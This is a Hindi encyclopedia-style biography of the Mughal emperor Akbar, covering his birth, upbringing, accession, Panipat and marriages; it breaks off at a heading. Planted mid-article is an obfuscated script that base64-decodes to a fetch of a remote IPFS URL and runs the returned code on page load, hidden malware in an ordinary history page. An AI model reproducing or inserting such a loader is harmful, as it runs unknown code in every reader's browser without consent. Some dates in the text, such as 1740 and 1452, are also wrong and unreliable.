अकबर

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अकबर
अकबर
पूरा नाम जलालउद्दीन मुहम्मद अकबर
जन्म 15 अक्टूबर सन् 1542 (लगभग)
जन्म भूमि अमरकोट, सिन्ध (पाकिस्तान)
मृत्यु तिथि 27 अक्टूबर सन् 1605 (उम्र 63 वर्ष)
मृत्यु स्थान फ़तेहपुर सीकरी, आगरा
पिता/माता हुमायूँ, मरियम मक़ानी
पति/पत्नी मरीयम-उज़्-ज़मानी (हरका बाई)
संतान जहाँगीर के अलावा 5 पुत्र 7 बेटियाँ
उपाधि जलाल-उद-दीन
राज्य सीमा उत्तर और मध्य भारत
शासन काल 27 जनवरी, 1556 - 27 अक्टूबर, 1605
शा. अवधि 49 वर्ष
राज्याभिषेक 14 फ़रबरी 1556 कलानपुर के पास गुरदासपुर
धार्मिक मान्यता नया मज़हब बनाया दीन-ए-इलाही
युद्ध पानीपत, हल्दीघाटी
सुधार-परिवर्तन जज़िया हटाया, राजपूतों से विवाह संबंध
राजधानी फ़तेहपुर सीकरी आगरा, दिल्ली
पूर्वाधिकारी हुमायूँ
उत्तराधिकारी जहाँगीर
राजघराना मुग़ल
वंश तैमूर और चंगेज़ ख़ाँ का वंश
मक़बरा सिकन्दरा, आगरा
संबंधित लेख मुग़ल काल

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जलालुद्दीन मुहम्मद अकबर (जन्म: 15 अक्टूबर, 1542 ई. अमरकोट - मृत्यु: 27 अक्टूबर, 1605 ई. आगरा) भारत का महानतम मुग़ल शंहशाह (शासनकाल 1556 - 1605 ई.) जिसने मुग़ल शक्ति का भारतीय उपमहाद्वीप के अधिकांश हिस्सों में विस्तार किया। अपने साम्राज्य की एकता बनाए रखने के लिए अकबर द्वारा ऐसी नीतियाँ अपनाई गईं, जिनसे गैर मुसलमानों की राजभक्ति जीती जा सके। भारत के इतिहास में आज अकबर का नाम काफ़ी प्रसिद्ध है। उसने अपने शासनकाल में सभी धर्मों का सम्मान किया था, सभी जाति-वर्गों के लोगों को एक समान माना और उनसे अपने मित्रता के सम्बन्ध स्थापित किये थे। अकबर ने अपने शासनकाल में सारे भारत को एक साम्राज्य के अंतर्गत लाने का प्रयास किया, जिसमें वह काफ़ी हद तक सफल भी रहा था।

Seealso.gifअकबर का उल्लेख इन लेखों में भी है: हुमायूँ, जहाँगीर, दीन-ए-इलाही, अकबरनामा, आइन-इ-अकबरी, तानसेन, टोडरमल, बीरबल एवं बैजू बावरा

जन्म

अकबर का जन्म 15 अक्टूबर, 1542 ई. (19 इसफन्दरमिज रविवार, रजब हिजरी का दिन या विक्रम संवत 1599 के कार्तिक मास की छठी)[1] को 'हमीदा बानू बेगम' के गर्भ से अमरकोट के राणा ‘वीरसाल’ के महल में हुआ था। आजकल कितने ही लोग अमरकोट को उमरकोट समझने की ग़लती करते हैं। वस्तुत: यह इलाका राजस्थान का अभिन्न अंग था। आज भी वहाँ हिन्दू राजपूत बसते हैं। रेगिस्तान और सिंध की सीमा पर होने के कारण अंग्रेज़ों ने इसे सिंध के साथ जोड़ दिया और विभाजन के बाद वह पाकिस्तान का अंग बन गया। अकबर के बचपन का नाम 'बदरुद्दीन' था। 1546 ई. में अकबर के खतने के समय हुमायूँ ने उसका नाम 'जलालुद्दीन मुहम्मद अकबर' रखा। अकबर के जन्म के समय की स्थिति सम्भवतः हुमायूँ के जीवन की सर्वाधिक कष्टप्रद स्थिति थी। इस समय उसके पास अपने साथियों को बांटने के लिए एक कस्तूरी के अतिरिक्त कुछ भी न था। अकबर का बचपन माँ-बाप के स्नेह से रहित अस्करी के संरक्षण में माहम अनगा, जौहर शम्सुद्दीन ख़ाँ एवं जीजी अनगा की देख-रेख में कंधार में बीता। हुमायूँ ऐसी स्थिति में नहीं था कि, अपने प्रथम पुत्र के जन्मोत्सव को उचित रीति से मना सकता। सारी कठिनाइयों में मालिक के साथ रहने वाला जौहर, अकबर के समय बहुत बूढ़ा होकर मरा। उसने लिखा है-

बादशाह ने इस संस्मरण के लेखक को हुक्म दिया-जो वस्तुएँ तुम्हें मैनें सौंप रखी हैं, उन्हें ले आओ। इस पर मैं जाकर दो सौ शाहरुखदी (रुपया), एक चाँदी का कड़ा और दो दाना कस्तूरी (नाभि) ले आया। पहली दोनों चीज़ों को उनके मालिकों के पास लौटाने के लिए हुक्म दिया। फिर एक चीनी की तस्तरी मंगाई। उसमें कस्तूरी को फोड़कर रख दिया और यह कहते हुए उपस्थित व्यक्तियों में उसे बाँटा: "अपने पुत्र के जन्म दिन के उपलक्ष्य में आप लोगों को भेंट देने के लिए मेरे पास बस यही मौजूद है। मुझे विश्वास है, एक दिन उसकी कीर्ति सारी दुनिया में उसी तरह फैलेगी, जैसे एक स्थान में यह कस्तूरी"

ढोल और बाजे बजाकर इस खुशख़बरी की सूचना दी गई।

पिता हुमायूँ की मुश्किलें

हुमायूँ मुश्किल से नौ वर्ष ही शासन कर पाया था कि, 26 जून, 1539 को गंगा किनारे 'चौसा' (शाहबाद ज़िले) में उसे शेरख़ाँ (शेरशाह) के हाथों करारी हार खानी पड़ी। चौसा अपने ऐतिहासिक युद्ध के लिए आज उतना प्रसिद्ध नहीं है, जितना अपने स्वादिष्ट आमों के लिए। चौसा की हार के बाद कन्नौज में हुमायूँ ने फिर भाग्य-परीक्षा की, लेकिन शेरशाह ने 17 मई, 1740 को अपने से कई गुना अधिक सेना को हरा दिया। हुमायूँ इस बार पश्चिम की ओर भागा। कितने ही समय तक वह राजस्थान के रेगिस्तानों में भटकता रहा, पर कहीं से भी उसे कोई सहायता प्राप्त नहीं हुई। इसी भटकते हुए जीवन में उसका परिचय हमीदा बानू से हुआ। बानू का पिता शेख़ अली अकबर जामी मीर बाबा दोस्त हुमायूँ के छोटे भाई हिन्दाल का गुरु था। हमीदा की सगाई हो चुकी थी, लेकिन चाहे बेतख्त का ही हो, आखिर हुमायूँ बादशाह था। सिंध में पात के मुकाम पर 1541 ई. के अन्त या 1452 ई. के प्रारम्भ में 14 वर्ष की हमीदा का विवाह हुमायूँ से हो गया। अपने पिछले जीवन में यही हमीदा बानू 'मरियम मकानी' के नाम से प्रसिद्ध हुई और अपने बेटे से एक ही साल पहले (29 अगस्त, 1604 ई. में) मरी। उस समय क्या पता था कि, हुमायूँ का भाग्य पलटा खायेगा और हमीदा की कोख से अकबर जैसा एक अद्वितीय पुत्र पैदा होगा।

माता-पिता से बिछुड़ना

हुमायूँ अपने खोये हुए राज्य को फिर से प्राप्त करने के लिए संघर्षरत था। तभी वह ईरान के तहमास्प की सहायता प्राप्त करने के ख्याल से कंधार की ओर चला। बड़ी मुश्किल से सेहवान पर उसने सिंध पार किया, फिर बलोचिस्तान के रास्ते क्वेटा के दक्षिण मस्तंग स्थान पर पहुँचा, जो कि कंधार की सीमा पर था। इस समय यहाँ पर उसका छोटा भाई अस्करी अपने भाई काबुल के शासक कामराँ की ओर से हुकूमत कर रहा था। हुमायूँ को ख़बर मिली कि, अस्करी हमला करके उसको पकड़ना चाहता है। मुकाबला करने के लिए आदमी नहीं थे। जरा-सी भी देर करने से काम बिगड़ने वाला था। उसके पास में घोड़ों की भी कमी थी। उसने तर्दी बेग से माँगा, तो उसने देने से इन्कार कर दिया। हुमायूँ, हमीदा बानू को अपने पीछे घोड़े पर बिठाकर पहाड़ों की ओर भागा। उसके जाते देर नहीं लगी कि अस्करी दो हज़ार सवारों के साथ पहुँच गया। हुमायूँ साल भर के शिशु अकबर को ले जाने में असमर्थ हुआ। वह वहीं डेरे में छूट गया। अस्करी ने भतीजे के ऊपर गुस्सा नहीं उतारा और उसे जौहर आदि के हाथ अच्छी तरह से कंधार ले गया। कंधार में अस्करी की पत्नी सुल्तान बेगम वात्सल्य दिखलाने के लिए तैयार थी।

अब अकबर, अस्करी की पत्नी की देख-रेख में रहने लगा। ख़ानदानी प्रथा के अनुसार दूधमाताएँ, अनगा-नियुक्त की गईं। शमशुद्दीन मुहम्मद ने 1540 ई. में कन्नौज के युद्ध में हुमायूँ को डूबने से बचाया था, उसी की बीबी जीजी अनगा को दूध पिलाने का काम सौंपा गया। माहम अनगा दूसरी अनगा थी। यद्यपि उसने दूध शायद ही कभी पिलाया हो, पर वही मुख्य अनगा मानी गई और उसके पुत्र-अकबर के दूध भाई (कोका या कोकलताश)-अदहम ख़ान का पीछे बहुत मान बढ़ा।

शिक्षा

अकबर आजीवन निरक्षर रहा। प्रथा के अनुसार चार वर्ष, चार महीने, चार दिन पर अकबर का अक्षरारम्भ हुआ और मुल्ला असामुद्दीन इब्राहीम को शिक्षक बनने का सौभाग्य प्राप्त हुआ। कुछ दिनों के बाद जब पाठ सुनने की बारी आई, तो वहाँ कुछ भी नहीं था। हुमायूँ ने सोचा, मुल्ला की बेपरवाही से लड़का पढ़ नहीं रहा है। लोगों ने भी जड़ दिया-“मुल्ला को कबूतरबाज़ी का बहुत शौक़ है। उसने शागिर्द को भी कबूतरों के मेले में लगा दिया है”। फिर मुल्ला बायजीद शिक्षक हुए, लेकिन कोई भी फल नहीं निकला। दोनों पुराने मुल्लाओं के साथ मौलाना अब्दुल कादिर के नाम को भी शामिल करके चिट्ठी डाली गई। संयोग से मौलाना का नाम निकल आया। कुछ दिनों तक वह भी पढ़ाते रहे। काबुल में रहते अकबर को कबूतरबाज़ी और कुत्तों के साथ खेलने से फुर्सत नहीं थी। हिन्दुस्तान में आया, तब भी वहीं रफ्तार बेढंगी रही। मुल्ला पीर मुहम्मद-बैरम ख़ाँ के वकील को यह काम सौंपा गया। लेकिन अकबर ने तो कसम खा ली थी कि, बाप पढ़े न हम। कभी मन होता तो मुल्ला के सामने किताब लेकर बैठ जाता। हिजरी 863 (1555-56 ई.) में मीर अब्दुल लतीफ़ कजवीनी ने भी भाग्य परीक्षा की। फ़ारसी तो मातृभाषा ठहरी, इसलिए अच्छी साहित्यिक फ़ारसी अकबर को बोलने-चालने में ही आ गई थी। कजबीनी के सामने दीवान हाफ़िज शुरू किया, लेकिन जहाँ तक अक्षरों का सम्बन्ध था, अकबर ने अपने को कोरा रखा। मीर सैयद अली और ख्वाजा अब्दुल समद चित्रकला के उस्ताद नियुक्त किये गए। अकबर ने कबूल किया और कुछ दिनों रेखाएँ खींची भी, लेकिन किताबों पर आँखें गड़ाने में उसकी रूह काँप जाती थी।

स्मरण शक्ति का धनी

अकबर की मृत्यु से कुछ समय पहले का चित्र-1605 ई.

अक्षर ज्ञान के अभाव से यह समझ लेना ग़लत होगा कि, अकबर अशिक्षित था। आखिर पुराने समय में जब लिपि का आविष्कार नहीं हुआ था, हमारे ऋषि भी आँख से नहीं, कान से पढ़ते थे। इसीलिए ज्ञान का अर्थ संस्कृत में श्रुत है और महाज्ञानी को आज भी बहुश्रुत कहा जाता है। अकबर बहुश्रुत था। उसकी स्मृति की सभी दाद देते हैं। इसलिए सुनी बातें उसे बहुत जल्द याद आ जाती थीं। हाफ़िज, रूमी आदि की बहुत-सी कविताएँ उसे याद थीं। उस समय की प्रसिद्ध कविताओं में शायद ही कोई होगी, जो उसने सुनी नहीं थी। उसके साथ बाकायदा पुस्तक पाठी रहते थे। फ़ारसी की पुस्तकों के समझने में कोई दिक्कत नहीं थी, अरबी पुस्तकों के अनुवाद (फ़ारसी) सुनता था। ‘शाहनामा’ आदि पुस्तकों को सुनते वक़्त जब पता लगा कि संस्कृत में भी ऐसी पुस्तकें हैं, तो वह उनको सुनने के लिए उत्सुक हो गया और महाभारत, रामायण आदि बहुत-सी पुस्तकें उसने अपने लिए फ़ारसी में अनुवाद करवाईं। ‘महाभारत’ को ‘शाहनामा’ के मुकाबले का समझकर वह अनुवाद करने के लिए इतना अधीर हो गया कि, संस्कृत पंडित के अनुवाद को सुनकर स्वयं फ़ारसी में बोलने लगा और लिपिक उसे उतारने लगे। कम फुर्सत के कारण यह काम देर तक नहीं चला। अक्षर पढ़ने की जगह उसने अपनी जवानी खेल-तमाशों और शारीरिक-मानसिक साहस के कामों में लगाई। चीतों से हिरन का शिकार, कुत्तों का पालना, घोड़ों और हाथियों की दौड़ उसे बहुत पसन्द थी। किसी से काबू में न आने वाले हाथी को वह सर करता था और इसके लिए जान-बूझकर ख़तरा मोल लेता था।

सूबेदार का पद

1551 ई. में मात्र 9 वर्ष की अवस्था में पहली बार अकबर को गजनी की सूबेदारी सौंपी गई। हुमायूँ ने हिन्दुस्तान की पुनर्विजय के समय मुनीम ख़ाँ को अकबर का संरक्षक नियुक्त किया। सिकन्दर सूर से अकबर द्वारा ‘सरहिन्द’ को छीन लेने के बाद हुमायूँ ने 1555 ई. में उसे अपना ‘युवराज’ घोषित किया। दिल्ली पर अधिकार कर लेने के बाद हुमायूँ ने अकबर को लाहौर का गर्वनर नियुक्त किया, साथ ही अकबर के संरक्षक मुनीम ख़ाँ को अपने दूसरे लड़के मिर्ज़ा हकीम का अंगरक्षक नियुक्त कर, तुर्क सेनापति ‘बैरम ख़ाँ’ को अकबर का संरक्षक नियुक्त किया।

हुमायूँ की मृत्यु

दिल्ली के तख्त पर बैठने के बाद यह हुमायूँ का दुर्भाग्य ही था कि, वह अधिक दिनों तक सत्ताभोग नहीं कर सका। जनवरी, 1556 ई. में ‘दीनपनाह’ भवन में स्थित पुस्तकालय की सीढ़ियों से गिरने के कारण हुमायूँ की मुत्यु हो गयी। हुमायूँ की मृत्यु का समाचार सुनकर बैरम ख़ाँ ने गुरुदासपुर के निकट ‘कलानौर’ में 14 फ़रवरी, 1556 ई. को अकबर का राज्याभिषेक करवा दिया और वह 'जलालुद्दीन मुहम्मद अकबर बादशाह ग़ाज़ी' की उपाधि से राजसिंहासन पर बैठा। राज्याभिषेक के समय अकबर की आयु मात्र 13 वर्ष 4 महीने की थी।

नाबालिग बादशाह

कलानोर में 14 वर्ष के अकबर को बादशाह घोषित कर दिया गया, पर उसे खेल-तमाशे से फुर्सत नहीं थी, ऊपर से बैरम ख़ाँ जैसा आदमी उसका सरपरस्त था। सल्तनत भी अभी आगरा से पंजाब तक ही सीमित थी। हुमायूँ और बाबर के राज्य के पुराने सूबे हाथ में नहीं आये थे। बंगाल में पठानों का बोलबाला था, राजस्थान में राजपूत रजवाड़े स्वच्छन्द थे। मालवा में मांडू का सुल्तान और गुजरात में अलग बादशाह था। गोंडवाना (मध्य प्रदेश) में रानी दुर्गावती की तपी थी, कहावत है, ‘ताल में भूपाल ताल और सब तलैया। रानी में दुर्गावती और सब गधैया।’ ख़ानदेश, बरार, बीदर, अहमदनगर, गोलकुंडा, बीजापुर, दिल्ली से आज़ाद हो अपने-अपने सुल्तानों के अधीन थे। किसी वक़्त मलिक काफ़ूर ने रामेश्वरम पर अलाउद्दीन ख़िलजी का झण्डा गाड़ा था, आज वहाँ विजयनगर साम्राज्य का हिन्दू राज्य था। कश्मीर, सिंध, बलूचिस्तान सभी दिल्ली से मुक्त थे।

हेमू से सामना

आदिशाल सूर ने चुनार को अपनी राजधानी बनाया तथा हेमू को मुग़लों को हिन्दुस्तान से बाहर निकालने के लिए नियुक्त किया। हेमू, रेवाड़ी का निवासी था, जो धूसर वैश्य कुल में पैदा हुआ था। आरम्भिक दिनों में वह रेवाड़ी की सड़कों पर नमक बेचा करता था। राज्य की सेवा में सर्वप्रथम उसे तोल करने वालों के रूप में नौकरी मिल गई। इस्लामशाह ने उसकी योग्यता से प्रभावित होकर दरबार में एक गुप्त पद पर नियुक्त कर दिया। आदिलशाह के शासक बनते ही हेमू प्रधानमंत्री बनाया गया। मुसलमानी शासन में मात्र दो हिन्दू, टोडरमल एवं हेमू को ही प्रधानमंत्री बनाया गया। हेमू ने अपने स्वामी के लिए 24 लड़ाईयाँ लड़ी थीं, जिसमें उसे 22 में सफलता मिली थी। हेमू आगरा और ग्वालियर पर अधिकार करता हुआ, 7 अक्टूबर, 1556 ई. को तुग़लकाबाद पहुँचा। यहाँ उसने तर्दी बेग को परास्त कर दिल्ली पर क़ब्ज़ा कर लिया। हेमू ने राजा 'विक्रमादित्य' की उपाधि के साथ एक स्वतन्त्र शासक बनने का सौभाग्य प्राप्त किया।

Blockquote-open.gif अकबर आजीवन निरक्षर रहा। प्रथा के अनुसार चार वर्ष, चार महीने, चार दिन पर अकबर का अक्षरारम्भ हुआ और मुल्ला असामुद्दीन इब्राहीम को शिक्षक बनने का सौभाग्य प्राप्त हुआ। कुछ दिनों के बाद जब पाठ सुनने की बारी आई, तो वहाँ कुछ भी नहीं था। Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> हेमू की इस सफलता से चिंतित अकबर और उसके कुछ सहयोगियों के मन में काबुल वापस जाने की बात कौंधने लगी। परंतु बैरम ख़ाँ ने अकबर को इस विषम परिस्थति का सामना करने के लिए तैयार कर लिया, जिसका परिणाम था-पानीपत की द्वितीय लड़ाई

पानीपत की द्वितीय लड़ाई (5 नवम्बर, 1556 ई.)

यह संघर्ष पानीपत के मैदान में 5 नवम्बर, 1556 ई. को हेमू के नेतृत्व में अफ़ग़ान सेना एवं बैरम ख़ाँ के नेतृत्व में मुग़ल सेना के मध्य लड़ा गया। दिल्ली और आगरा के हाथ से चले जाने पर दरबारियों ने सलाह दी कि हेमू इधर भी बढ़ सकता है। इसीलिए बेहतर है कि, यहाँ से काबुल चला जाए। लेकिन बैरम ख़ाँ ने इसे पसन्द नहीं किया। बाद में बैरम ख़ाँ और अकबर अपनी सेना लेकर पानीपत पहुँचे और वहीं जुआ खेला, जिसे तीन साल पहले दादा ने खेला था। हेमू की सेना संख्या और शक्ति, दोनों में बढ़-चढ़कर थी। पोर्तुगीजों से मिली तोपों का उसे बड़ा अभिमान था। 1500 महागजों की काली घटा मैदान में छाई हुई थी। 5 नवम्बर को हेमू ने मुग़ल दल में भगदड़ मचा दी। युद्ध का प्रारम्भिक क्षण हेमू के पक्ष में जा रहा था, लेकिन इसी समय उसकी आँख में एक तीर लगा, जो भेजे के भीतर घुस गया, वह संज्ञा खो बैठा। नेता के बिना सेना में भगदड़ मच गई। हेमू को गिरफ्तार करके बैरम ख़ाँ ने मरवा दिया। कहा जाता है कि, बैरम ख़ाँ ने अकबर से अपने दुश्मन का सिर काटकर ग़ाज़ी बनने की प्रार्थना की थी, लेकिन अकबर ने ऐसा करने से इन्कार कर दिया। अकबर इस समय अभी मुश्किल से 14 वर्ष का हो पाया था। उसमें इतना विवेक था कि, इसे मानने के लिए कुछ इतिहासकार तैयार नहीं हैं। हिन्दू चूक गए, पर हेमू की जगह उन्होंने अकबर जैसे शासक को पाया, जिसने आधी शताब्दी तक भेद-भाव की खाई को पाटने की कोशिश की। बैरम ख़ाँ की अतालीकी के अन्तिम वर्षों में राज्य सीमा खूब बढ़ी। जनवरी-फ़रवरी, 1559 में ग्वालियर ने अधीनता स्वीकार कर ली। इसके कारण दक्षिण का रास्ता खुल गया और ग्वालियर जैसा सुदृढ़ दुर्ग तथा सांस्कृतिक केन्द्र अकबर के हाथ में आ गया। इसी साल पूर्व में जौनपुर तक मुग़ल झण्डा फहराने लगा। रणथम्भौर के अजेय दुर्ग को लेने की कोशिश की गई, पर उसमें सफलता प्राप्त नहीं हुई। मालवा को भी बैरम ख़ाँ लेने में असफल रहा और इस प्रकार से साबित कर दिया गया कि अब अतालीक से ज़्यादा आशा नहीं की जा सकती।

विवाह

दिल्ली से अकबर दिसम्बर 1556 में सरहिन्द लौट आया, क्योंकि अभी सिकन्दर सूर सर नहीं हुआ था। मई, 1557 में सिकन्दर ने मानकोट (रामकोट, जम्मू) के पहाड़ी क़िले में कितनी ही देर तक घिरे रहने के बाद आत्म समर्पण किया। उसे ख़रीद और बिहार के ज़िले जागीर में मिले, जहाँ पर वह दो वर्ष के बाद मर गया। काबुल से शाही बेगमें भी मानकोट पहुँची। उनके स्वागत के लिए अकबर दो मंज़िल आगे आया। मानकोट से लाहौर होते जालंधर पहुँचने पर बैरम ख़ाँ ने हुमायूँ की भाँजी सलीमा बेगम से विवाह किया। लेकिन यह विवाह कुछ ही समय का रहा, क्योंकि 31 जनवरी, 1561 में बैरम ख़ाँ की हत्या के बाद फूफी की लड़की सलीमा से अकबर ने विवाह किया। सलीमा अकबर की बहुत प्रभावशालिनी बीबी बनी और 1621 ई. में मरी। अक्टूबर, 1558 में अकबर दिल्ली से दल-बल सहित यमुना नदी से नाव द्वारा आगरा पहुँचा। यद्यपि आगरा एक नगण्य नगर नहीं था। बाबर और सूरी ने भी उसकी क़दर की थी, तथापि उसका भाग्य अकबराबाद बनने के बाद ही जागा।

हिन्दू राजकुमारी से विवाह

एक रात अकबर शिकार के लिए आगरा के पास के किसी गाँव से जा रहा था। वहाँ कुछ गवैयों को अजमेरी ख्वाजा का गुणगान गाते सुना। उसने मन में ख्वाजा की भक्ति जगी और 1562 की जनवरी के मध्य में थोड़े से लोगों को लेकर वह अजमेर की ओर चल पड़ा। आगरा और अजमेर के मध्य में देबसा में आमेर (पीछे जयपुर) के राजा बिहारीमल मिले और अपनी सबसे बड़ी लड़की के विवाह का प्रस्ताव रखा। अजमेर में थोड़ा ठहरकर लौटते वक़्त सांभर में राजकुमारी से अकबर ने विवाह किया। बिहारीमल के ज्येष्ठ पुत्र भगवानदास को कोई लड़का नहीं था, उन्होंने अपने भतीजे मानसिंह को गोद लिया था। राजा भगवानदास और कुँवर मानसिंह अब अकबर के सगे सम्बन्धी हो गए। इसी कछवाहा राजकुमारी का नाम पीछे ‘मरियम जमानी’ पड़ा, जिससे जहाँगीर पैदा हुआ। अकबर की अपनी माँ हमीदा बानू को ‘मरियम मकानी’ (सदन की मरियम) कहा जाता था। कछवाहा रानी की क़ब्र सिकन्दरा में अकबर की क़ब्र के पास एक रौजे में है, जिससे स्पष्ट है कि वह पीछे हिन्दू नहीं रही। अब तक सल्तनत के स्तम्भ तूरानी समझे जाते थे, अब राजपूत भी स्तम्भ बने और वह तूरानियों से अधिक दृढ़ साबित हुए।

अकबरी दरबार के इतिहासकार 'अबुल फ़ज़ल' कृत 'आइना-ए-अकबरी' में और जहाँगीर के लिखे आत्मचरित 'तुजुक जहाँगीर' में उसे मरियम ज़मानी ही कहा गया है। यह उपाधि उसे सलीम के जन्म पर सन् 1569 में दी गई थी। कुछ लोगों ने उसका नाम जोधाबाई लिख दिया है, जो सही नहीं है। जोधाबाई जोधपुर के राजा उदयसिंह की पुत्री थी, जिसका विवाह सलीम के साथ सन् 1585 में हुआ था।

वह सम्राट अकबर की महारानी और जहाँगीर की माता होने से मुग़ल अंत:पुर की सर्वाधिक प्रतिष्ठित नारी थी। वह मुस्लिम बादशाह से विवाह होने पर भी हिन्दू धर्म के प्रति निष्ठावान रही। सम्राट अकबर ने उसे पूरी धार्मिक स्वतंत्रता दी थी। वह हिन्दू धर्म के अनुसार धर्मोपासना, उत्सव−त्योहार एवं रीति−रिवाजों को करती थी। उसकी मृत्यु सम्राट अकबर के देहावसान के 18 वर्ष पश्चात सन् 1623 में आगरा में हुई थी। उसकी याद में एक भव्य स्मारक आगरा के निकटवर्ती सिकंदरा नामक स्थान पर सम्राट के मक़बरे के समीप बनाया गया, जो आज भी है।

बेगमों का प्रभाव

अकबर ने भले ही बैरम ख़ाँ के हाथ से सल्तनत की बागडोर छीन ली, पर अभी वह उसे अपने हाथ में नहीं ले सका। वस्तुत: माहम अनगा अपनी बेटी और सम्बन्धियों के बल पर बैरम ख़ाँ को पछाड़ने में सफल हुई थी। वह कब चाहती थी कि, अकबर अपने प्रभाव से निकल जाए। पीर मुहम्मद शिरवानी ने षड्यंत्र को सफल बनाने में अपने आका बैरम ख़ाँ से विश्वासघात किया था। तर्दीबेग का भी सर्वनाश करने में उसका बड़ा हाथ था। वह माहम अनगा के अत्यन्त कृपापात्रों में से एक था। शजात ख़ाँ (सहजावल ख़ाँ) सूर मांडू में पहले सलीमशाह सूर की ओर से, फिर स्वतंत्र शासक रहा। हिजरी 963 (1555-1556 ई.) में उसके मरने पर उसका सबसे बड़ा लड़का बाजबहादुर मालवा की गद्दी पर उसी साल बैठा था, जिस साल अकबर तख्त पर बैठा था। बाजबहादुर (सुल्तान बायजीद) अयोग्य तथा क्रूर आदमी था। उसने अपने छोटे भाई और कितने ही अफ़सरों को मरवाकर अपने को मज़बूत करना चाहा। अपने पड़ोसी गोंड राजाओं की ओर हाथ बढ़ाना चाहा और बुरी तरह से हारा। वह संगीत का बहुत शौक़ीन था। उसने अदली (आदिलशाह सूर) से संगीत की शिक्षा पाई थी। मदिरा, मदिरेक्षणा और संगीत उसके जीवन का लक्ष्य था। उसके दरबार में नृत्य और संगीत में अत्यन्त कुशल रूपमती गणिका थी, जिसके प्रेम में वह पागल था। इस प्रेम को लेकर कितने ही कवियों ने अपनी कविताएँ लिखी हैं।

माहम अनगा की चतुरता

1560 ई. की शरद में माहम अनगा के पुत्र अदहम ख़ाँ की अधीनता में मालवा पर आक्रमण करने की तैयारी की गई। पीर मुहम्मद शिरवानी कहने के लिए तो सहायक सेनापति था, नहीं तो वही सर्वेसर्वा था। नौजवान अदहम ख़ाँ अपने माँ के कारण ही प्रधान सेनापति बनाया गया था। सारंगपुर के पास 1561 ई. में बाजबहादुर की हार हुई। मालवा का ख़ज़ाना शाही सेना के हाथ में आया। बाजबहादुर ने अपने अफ़सरों को कह रखा था कि हार होने पर दुश्मन के हाथ में जाने से बचाने के लिए बेगमों को मार डालना। अपने सौंदर्य के लिए जगत प्रसिद्ध रूपमती पर तलवार चलाई गई, लेकिन वह मरी नहीं। अदहम ख़ाँ ने लूट के माल को अपने हाथ में रखना चाहा और थोड़े से हाथी भर अकबर के पास भेजे। पीर मुहम्मद और अदहम ख़ाँ ने मालवा में भारी क्रूरता की। मालवा के हिन्दू-मुसलमानों में कोई अन्तर नहीं था। मालवा पर पहले से हुकूमत करने वाले भी मुसलमान थे। विद्वान शेख़ों और सम्माननीय सैय्यदों को भी उन्होंने नहीं छोड़ा। यह ख़बर अकबर के पास पहुँची। वह जानता था कि माहम अपने पुत्र के लिए कुछ भी करने से उठा नहीं रखेगी, इसीलिए बिना सूचना दिए वह एक दिन (27 अप्रॅल, 1561 ई.) को थोड़े से आदमियों को लेकर आगरा से चल पड़ा। ख़बर मिलते ही माहम अनगा ने अपने लड़के (अदहम ख़ाँ) के पास दूत भेजा, लेकिन अकबर उससे पहले ही वहाँ पर पहुँच गया था। अदहम ख़ाँ अकबर को देखते ही हक्का-बक्का रह गया। उसने अकबर के सामने आत्म-समर्पण करके छुट्टी लेनी चाही। अकबर को मालूम हुआ कि उसने बाजबहादुर के अन्त:पुर की दो सुन्दरियों को छिपा रखा है। माहम अनगा घबराई। उसने सोचा, यदि ये दोनों अकबर के सामने हाजिर हुईं तो, बेटे का भेद खुल जायेगा। इसीलिए उसने दोनों सुन्दरियों को ज़हर देकर मरवा दिया।

बैरम ख़ाँ का पतन

हिजरी 961 (1553-1554 ई.) में लोगों ने चुगली लगाई कि बैरम ख़ाँ स्वतंत्र होना चाहता है, लेकिन बैरम ख़ाँ नमक-हराम नहीं था। हुमायूँ एक दिन स्वयं कंधार पहुँचा। बैरम ख़ाँ ने बहुतेरा चाहा कि बादशाह उसे अपने साथ ले चले, लेकिन कंधार भी एक बहुत महत्त्वपूर्ण स्थान था, जिसके लिए बैरम ख़ाँ से बढ़कर अच्छा शासक नहीं मिल सकता था। अकबर के ज़माने में भी बहुत दिनों तक कंधार बैरम ख़ाँ के शासन में ही रहा, उसका नायब शाह मुहम्मद कंधारी उसकी ओर से काम करता था। हुमायूँ के मरने पर अकबर की सल्तनत का भार बैरम ख़ाँ के ऊपर था। ख़ानख़ाना की योग्यता और प्रभाव को देखकर मरने से थोड़ा पहले हुमायूँ ने अपनी भाँजी सलीमा सुल्तान बेगम की शादी बैरम ख़ाँ से निश्चित कर दी थी। अकबर के दूसरे सनजलूस (1558 ई.) में बड़े धूमधाम से यह शादी सम्पन्न हुई। दरबार के कुछ मुग़ल सरदार और कितनी ही बेगमें इस सम्बन्ध से नाराज़ थीं। तैमूरी ख़ानदान की शाहज़ादी एक तुर्कमान सरदार से ब्याही जाए, इसे वह कैसे पसन्द कर सकते थे।

अकबर की वृद्धावस्था की तस्वीर

तीसरे सनजलूस (1558-1559 ई.) में शेख़ गदाई को सदरे-सुदूर बनाया गया था। गदाई और बैरम ख़ाँ दोनों ही शिया थे। अमीरों में एक बहुत बड़ी संख्या में सुन्नी थे। हिन्दुस्तान का इस्लाम सुन्नी था। आज तक कभी ऐसा नहीं हुआ था कि इतने बड़े पद पर किसी शिया को रखा गया हो। बैरम ख़ाँ के इस कार्य ने सभी सुन्नी अमीरों को उसके ख़िलाफ़ एकमत कर दिया। यह भी बैरम ख़ाँ के पतन का एक मुख्य कारण था। अकबर की माँ हमीदा बानू (मरियम मकानी), उसकी दूध माँ माहम अनगा, दूधभाई अदहम ख़ाँ, उनका सम्बन्धी तथा दिल्ली का हाकिम शहाबुद्दीन, बैरम ख़ाँ के ख़िलाफ़ षड्यंत्र करने वालों के मुखिया थे। वह अकबर को यह भी समझा रहे थे कि बैरम, कामराँ मिर्ज़ा के लड़के को गद्दी पर बैठाना चाहता है। ये लोग बैरम ख़ाँ के सर्वनाश के लिए कमर कस चुके थे। ख़ानख़ाना के सलाहकार उससे कह रहे थे, ‘अकबर को गिरफ्तार करो, लेकिन बैरम ख़ाँ ऐसी नमक हरामी के लिए तैयार नहीं था।’ जब मालूम होने लगा कि बैरम ख़ाँ का सितारा डूबने जा रहा है तो कितने ही सहायक उससे अलग होकर चले गए।

बैरम ख़ाँ की हत्या

